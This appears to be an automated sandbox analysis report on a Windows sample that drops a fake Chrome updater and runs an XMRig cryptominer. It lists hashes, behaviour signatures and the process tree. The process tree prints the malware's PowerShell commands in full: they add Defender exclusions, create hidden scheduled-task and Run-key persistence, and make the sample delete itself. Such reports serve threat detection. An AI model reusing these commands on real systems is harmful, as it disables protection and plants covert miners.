Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
387s -
max time network
1803s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2452 created 1256 2452 rUqNxUB6WWxdsfEP.exe 16 PID 2452 created 1256 2452 rUqNxUB6WWxdsfEP.exe 16 PID 2452 created 1256 2452 rUqNxUB6WWxdsfEP.exe 16 PID 2452 created 1256 2452 rUqNxUB6WWxdsfEP.exe 16 PID 2384 created 1256 2384 updater.exe 16 PID 2384 created 1256 2384 updater.exe 16 PID 2384 created 1256 2384 updater.exe 16 PID 2384 created 1256 2384 updater.exe 16 PID 1908 created 1256 1908 conhost.exe 16 PID 2384 created 1256 2384 updater.exe 16 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral22/memory/2380-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral22/memory/2380-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 1484 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2384 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1052 taskeng.exe -
resource yara_rule behavioral22/memory/2380-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral22/memory/2380-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2384 set thread context of 1908 2384 updater.exe 53 PID 2384 set thread context of 2380 2384 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe rUqNxUB6WWxdsfEP.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2624 schtasks.exe 2928 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1552 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0329f42b44fda01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2452 rUqNxUB6WWxdsfEP.exe 2452 rUqNxUB6WWxdsfEP.exe 2796 powershell.exe 2452 rUqNxUB6WWxdsfEP.exe 2452 rUqNxUB6WWxdsfEP.exe 2772 powershell.exe 2452 rUqNxUB6WWxdsfEP.exe 2452 rUqNxUB6WWxdsfEP.exe 2452 rUqNxUB6WWxdsfEP.exe 2452 rUqNxUB6WWxdsfEP.exe 876 powershell.exe 2384 updater.exe 2384 updater.exe 2028 powershell.exe 2384 updater.exe 2384 updater.exe 2936 powershell.exe 2384 updater.exe 2384 updater.exe 2384 updater.exe 2384 updater.exe 1908 conhost.exe 1908 conhost.exe 2384 updater.exe 2384 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2772 powershell.exe Token: SeDebugPrivilege 876 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 2936 powershell.exe Token: SeDebugPrivilege 2384 updater.exe Token: SeAssignPrimaryTokenPrivilege 1552 WMIC.exe Token: SeIncreaseQuotaPrivilege 1552 WMIC.exe Token: SeSecurityPrivilege 1552 WMIC.exe Token: SeTakeOwnershipPrivilege 1552 WMIC.exe Token: SeLoadDriverPrivilege 1552 WMIC.exe Token: SeSystemtimePrivilege 1552 WMIC.exe Token: SeBackupPrivilege 1552 WMIC.exe Token: SeRestorePrivilege 1552 WMIC.exe Token: SeShutdownPrivilege 1552 WMIC.exe Token: SeSystemEnvironmentPrivilege 1552 WMIC.exe Token: SeUndockPrivilege 1552 WMIC.exe Token: SeManageVolumePrivilege 1552 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1552 WMIC.exe Token: SeIncreaseQuotaPrivilege 1552 WMIC.exe Token: SeSecurityPrivilege 1552 WMIC.exe Token: SeTakeOwnershipPrivilege 1552 WMIC.exe Token: SeLoadDriverPrivilege 1552 WMIC.exe Token: SeSystemtimePrivilege 1552 WMIC.exe Token: SeBackupPrivilege 1552 WMIC.exe Token: SeRestorePrivilege 1552 WMIC.exe Token: SeShutdownPrivilege 1552 WMIC.exe Token: SeSystemEnvironmentPrivilege 1552 WMIC.exe Token: SeUndockPrivilege 1552 WMIC.exe Token: SeManageVolumePrivilege 1552 WMIC.exe Token: SeLockMemoryPrivilege 2380 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2624 2772 powershell.exe 32 PID 2772 wrote to memory of 2624 2772 powershell.exe 32 PID 2772 wrote to memory of 2624 2772 powershell.exe 32 PID 1484 wrote to memory of 1824 1484 cmd.exe 37 PID 1484 wrote to memory of 1824 1484 cmd.exe 37 PID 1484 wrote to memory of 1824 1484 cmd.exe 37 PID 876 wrote to memory of 544 876 powershell.exe 38 PID 876 wrote to memory of 544 876 powershell.exe 38 PID 876 wrote to memory of 544 876 powershell.exe 38 PID 1052 wrote to memory of 2384 1052 taskeng.exe 40 PID 1052 wrote to memory of 2384 1052 taskeng.exe 40 PID 1052 wrote to memory of 2384 1052 taskeng.exe 40 PID 2936 wrote to memory of 2928 2936 powershell.exe 47 PID 2936 wrote to memory of 2928 2936 powershell.exe 47 PID 2936 wrote to memory of 2928 2936 powershell.exe 47 PID 2384 wrote to memory of 1908 2384 updater.exe 53 PID 1684 wrote to memory of 1552 1684 cmd.exe 49 PID 1684 wrote to memory of 1552 1684 cmd.exe 49 PID 1684 wrote to memory of 1552 1684 cmd.exe 49 PID 2384 wrote to memory of 2380 2384 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1256
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rUqNxUB6WWxdsfEP.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rUqNxUB6WWxdsfEP.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2624
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rUqNxUB6WWxdsfEP.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:544
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2928
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1684
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1904
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1908
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2380
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C:\Windows\system32\taskeng.exetaskeng.exe {E7462181-EAFE-423F-B85D-355EFDD5AD22} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1552
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.8MB
MD53a0ac0a0d9d9da4af21a5237866eb6ae
SHA127c2bfdc588533b53dd15e26e929b32d54f7c232
SHA256fd0acfeefb681f79f51b7a6dbc6aa2fff038a2dc6b2abc734533caec8a26e096
SHA512cdc308302411b3aeed7d2b42174fb9a8a60e5dd870cf4649413938549918f632a0b06de15e34adbd47bac55bc31c9cc56021166be4cef6da13cc91bc8ea6c7ce
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD56b54c34bbaaad4c0b1ded022c54f2fed
SHA19ca535c648ef071901b51fb5e38c16da00727d3a
SHA256155014977670daf50d74e894039ef25b75bc360c2cb07d0bff17eed58c3f16b2
SHA51218d19ea3faaef434e460680d7bca2d590b7c922a1a30e2da20170c4479356aecefebf3af5cb5276499f0e6a2d1d4002d93de20b13fbed61302b02498c142e66b
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Filesize
1.2MB
MD5f098e8e4de10752bf3336cf8de78daee
SHA1fa76b45f9722f203da040abba9afef26687ee122
SHA256d663260c0d698a8a10ec48b15ec0de7717a00e3a4d6699f21c5b8e5fd7175985
SHA51246ec5e7c4ea33f8282e913f2de24e32104eedd84ddd239c710a1f8d8f72e6bb85e8d7d3f6b29b0a30e5fe9479f32efed0aa39aa56bcc27099e5d11f28e34ac75